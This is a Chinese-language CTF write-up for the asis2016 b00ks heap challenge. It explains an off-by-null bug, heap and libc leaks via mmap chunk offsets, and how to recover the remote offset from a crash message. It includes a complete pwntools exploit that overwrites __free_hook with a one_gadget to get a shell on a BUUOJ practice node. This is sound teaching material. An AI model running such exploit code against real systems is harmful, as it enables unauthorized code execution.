asis2016_b00ks(根据报错信息确定mmap拓展偏移) 这个应该是大部分人学off-by-one的第一个例题,当时笔者也是只在本地去测试,最近重温又发现了一些有趣的东西
这里有个off-by-null,可以看到14行 如果i = a2就break,再让*a1 = 0,比如我们的size为10,正常我们被允许输入10个字节的数据,这里的i是从0开始的,所以是0-10,也就是11字节,多出的一字节被置0
具体这里就不展开分析了大致讲一下利用过程,如果想看更详细的,网上一堆师傅分析的都很详细
大部分做法是申请一个大块,topchunk不够用,使用mmap分配,我们去泄露这个分配地址去获得libc基址,但是这里有个问题就是不同环境下,这个偏移是不同的
首先会让输入作者名字,这个内容存放在0x555555602040位置,当然由于开了PIE,这个不是固定的,根据程序加载基址来确定,分配大小是0x20,紧跟着的是chunk的管理块,如果我们把0x20的空间写满就能打印出第一个管理堆块的地址
1 2 3 4 5 6 7 8 9 io.sendlineafter(b'Enter author name: ' ,b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) add(0xd0 , b'aaaa' , 0x20 , b'bbbb' +b'\n' ) add(0x21000 , b'aaaa' , 0x21000 , b'bbbb' +b'\n' ) show() io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) book1_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('book1_addr =========================>' +hex (book1_addr))
接下来利用off-by-null重写一次作者名字 把上面0x0000555555605130覆盖成0x0000555555605100,0x0000555555605100这块内容是我们可控的,可以伪造指针泄露libc
1 2 3 4 5 6 7 8 9 10 payload = p64(1 ) + p64(book1_addr + 0x38 ) + p64(book1_addr+0x40 ) + p64(0x20 ) edit(1 ,payload) change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) show() io.recvuntil(b'Name: ' ) libc_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x7d4010 success('libc_addr =========================>' +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ]
我们上面申请0xd0就是为了让我们能控制des块的malloc指针落在00结尾的一个地址,这样我们可以伪造管理块,再去打印就会根据我们伪造的索引打印 绿色框和黄色框中的地址,这里在我本地的偏移是0x7d4010,用vmmap查看libc基址再减一下就行了,然后 改1此时相当于改 5170黄色框的内容改为free_hook,这个是2的des块索引,我们再改2就相当于在修改free_hook了
本地正常打通但是换到远程的时候是打不通的,因为mmap拓展的偏移是不一样的,这里可以选择直接free(1),由于1的索引是被我们修改过的,直接去free肯定是不合法的,会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 io.sendlineafter(b'Enter author name: ' ,b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) add(0xd0 , b'aaaa' , 0x20 , b'bbbb' +b'\n' ) add(0x21000 , b'aaaa' , 0x21000 , b'bbbb' +b'\n' ) show() io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) book1_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('book1_addr =========================>' +hex (book1_addr)) payload = p64(1 ) + p64(book1_addr + 0x38 ) + p64(book1_addr+0x40 ) + p64(0x20 ) edit(1 ,payload) change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) show() io.recvuntil(b'Name: ' ) libc_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('libc_addr =========================>' +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] free(1 )
从报错信息中我们能看到libc的基址是0x7f59acafb000,此时我们接收到的mmap拓展的堆块的地址是0x7f59ad0c1010 偏移是0x5c6010,填入正确偏移即可打通
远程exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,25665 ) elf = ELF('./b00ks' ) libc = ELF('./libc-2.23.so' ) def add (size, name, size2, content ): io.sendlineafter(b'> ' ,b'1' ) io.sendlineafter(b'Enter book name size: ' ,str (size).encode()) io.sendlineafter(b'Enter book name (Max 32 chars): ' ,name) io.sendlineafter(b'Enter book description size: ' ,str (size2).encode()) io.sendlineafter(b'Enter book description: ' ,content) def free (index ): io.sendlineafter(b'> ' ,b'2' ) io.sendlineafter(b'Enter the book id you want to delete: ' ,str (index).encode()) def edit (index, content ): io.sendlineafter(b'> ' ,b'3' ) io.writelineafter(b'Enter the book id you want to edit: ' ,str (index).encode()) io.sendlineafter(b'Enter new book description: ' ,content) def show (): io.sendlineafter(b'> ' ,b'4' ) def change (content ): io.sendlineafter(b'> ' ,b'5' ) io.sendlineafter(b'Enter author name: ' ,content) io.sendlineafter(b'Enter author name: ' ,b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) add(0xd0 , b'aaaa' , 0x20 , b'bbbb' +b'\n' ) add(0x21000 , b'aaaa' , 0x21000 , b'bbbb' +b'\n' ) show() io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) book1_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) success('book1_addr =========================>' +hex (book1_addr)) payload = p64(1 ) + p64(book1_addr + 0x38 ) + p64(book1_addr+0x40 ) + p64(0x20 ) edit(1 ,payload) change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch' ) show() io.recvuntil(b'Name: ' ) libc_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x5c6010 success('libc_addr =========================>' +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] edit(1 ,p64(free_hook)) edit(2 ,p64(0x4526a +libc_addr)) free(1 ) io.interactive()